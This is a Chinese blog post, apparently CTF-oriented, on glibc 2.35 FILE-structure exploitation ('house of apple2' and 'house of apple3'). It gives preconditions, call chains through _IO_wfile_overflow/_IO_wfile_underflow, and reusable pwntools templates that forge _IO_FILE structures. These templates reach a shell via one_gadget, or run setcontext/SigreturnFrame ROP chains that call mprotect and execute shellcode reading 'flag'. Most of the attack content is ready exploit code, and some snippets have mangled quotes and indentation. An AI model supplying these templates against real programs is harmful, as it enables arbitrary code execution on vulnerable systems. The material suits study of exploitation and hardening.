libc2.35时代IO利用

文章中的利用方法主要针对libc2.35,高版本可做适当修改利用。话不多说,直接开始。

house of apple系列
libc2.35后的IO利用最知名的就是house of apple了,一共三个系列文章,是roderick师傅发现并广泛利用。

house of apple2
基于IO_FILE->_wide_data的利用技巧
条件:

已知heap地址和libc地址

能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发

能控制vtable和_wide_data,一般使用largebin attack去控制
利用_IO_wfile_overflow函数控制程序执行流:
调用链:_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE
getshell模板

def house_of_apple2(fake_IO_file_addr):
fake_IO_file = flat(
{
0x18: 1, # _IO_write_ptr
0x58: one_gadget, # chain
0x78: _IO_stdfile_2_lock, # _lock
0x90: fake_IO_file_addr, # _IO_wide_data
0xc8: _IO_wfile_jumps, # vtable
0xd0: fake_IO_file_addr, # fake wide vtable
}, filler=‘\x00’
)

return fake_IO_file
ORW模板

def house_of_apple2(fake_IO_file_addr):
fake_IO_file = flat(
{
0x18: 1, # _IO_write_ptr
0x58: setcontext + 61, # chain
0x78: _IO_stdfile_2_lock, # _lock
0x90: fake_IO_file_addr + 0x100, # _IO_wide_data
0xc8: _IO_wfile_jumps, # vtable
0xf0: {
0xa0: [fake_IO_file_addr + 0x200, ret],
0xe0: fake_IO_file_addr
},
0x1f0: [
pop_rdi_ret, fake_IO_file_addr >> 12 << 12,
pop_rsi_ret, 0x2000,
pop_rdx_rbx_ret, 7, 0,
pop_rax_ret, 10, # mprotect
syscall_ret,
fake_IO_file_addr + 0x290
],
0x280: asm(shellcraft.cat(‘flag’))

    }, filler='\x00'
)
payload = fake_IO_file

return payload

注意: 上述模板中fake_IO_file_addr地址为伪造的_IO_FILE起始地址。

house of apple3
基于IO_FILE->_codecvt的利用方法。
条件:

已知heap地址和libc基址
能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过**__malloc_assert触发
能控制IO_FILE的vtable和
_codecvt**,一般使用largebin attack去控制
利用_IO_wfile_underflow控制程序执行流
调用链:_IO_wfile_underflow -> libio_codecvt_in -> fp->codecvt -> cd_in.step -> __fct(函数指针)
_IO_wfile_underflow
__libio_codecvt_in
DL_CALL_FCT
gs = fp->_codecvt->__cd_in.step
*(gs->__fct)(gs)

getshell模板

def house_of_apple3(fake_IO_file_addr):
fake_ucontext = ucontext_t()
fake_ucontext.rip = ret
fake_ucontext.rsp = fake_IO_file_addr + 0x300
fake_ucontext.rdi = fake_IO_file_addr >> 12 << 12
fake_ucontext.rsi = 0x2000
fake_ucontext.rdx = 7

fake_IO_file = flat(
    {
        0: 0xffffffffffffffff,  # _IO_read_end
        0x18: 1,                # _IO_write_ptr
        0x30: fake_IO_file_addr + 0x100,    # _IO_buf_end = _codecvt.step
        0x88: fake_IO_file_addr + 0x40,     # _codecvt
        0x90: _IO_wide_data,
        0xc8: _IO_wfile_jumps + 0x8,        # vtable
        0xf0: {
            0: 0,   # key
            0x28: one_gadget,     # fun_ptr
        }
    }, filler='\x00'
)

payload = fake_IO_file
return payload

ORW模板
magic gadget: libc2.36及以上版本被去除

<getkeyserv_handle+576>

mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20]
def house_of_apple3(fake_IO_file_addr):
frame = SigreturnFrame()
frame.rip = ret
frame.rsp = fake_IO_file_addr + 0x200
frame.rdi = fake_IO_file_addr >> 12 << 12
frame.rsi = 0x2000
frame.rdx = 7

fake_IO_file = flat(
    {
        0: 0xffffffffffffffff,  # _IO_read_end
        0x18: 1,                # _IO_write_ptr
        0x30: fake_IO_file_addr + 0x100,    # _IO_buf_end = _codecvt.step
        0x88: fake_IO_file_addr + 0x40,     # _codecvt
        0x90: _IO_wide_data,
        0xc8: _IO_wfile_jumps + 0x8,        # vtable
        0xf0: {
            0: 0,   # key
            0x8: fake_IO_file_addr + 0x100,
            0x20: setcontext + 61,
            0x28: magic_gadget,     # fun_ptr
            0x30: bytes(frame)[0x30:]
        },
        0x1f0: [
            pop_rax_ret, 10,
            syscall_ret,
            fake_IO_file_addr + 0x230
        ],
        0x220: asm(shellcraft.cat('flag'))
    }, filler='\x00'
)

payload = fake_IO_file
return payload

可以结合国资社畜师傅提出的house of 一骑当千达到无条件ORW。

class ucontext_t:
‘’’
[0x1c0] must be NULL.
‘’’
length = 0x1c8
bin_str = length * b’\0’
rip = 0
rsp = 0
rbx = 0
rbp = 0
r12 = 0
r13 = 0
r14 = 0
r15 = 0
rsi = 0
rdi = 0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值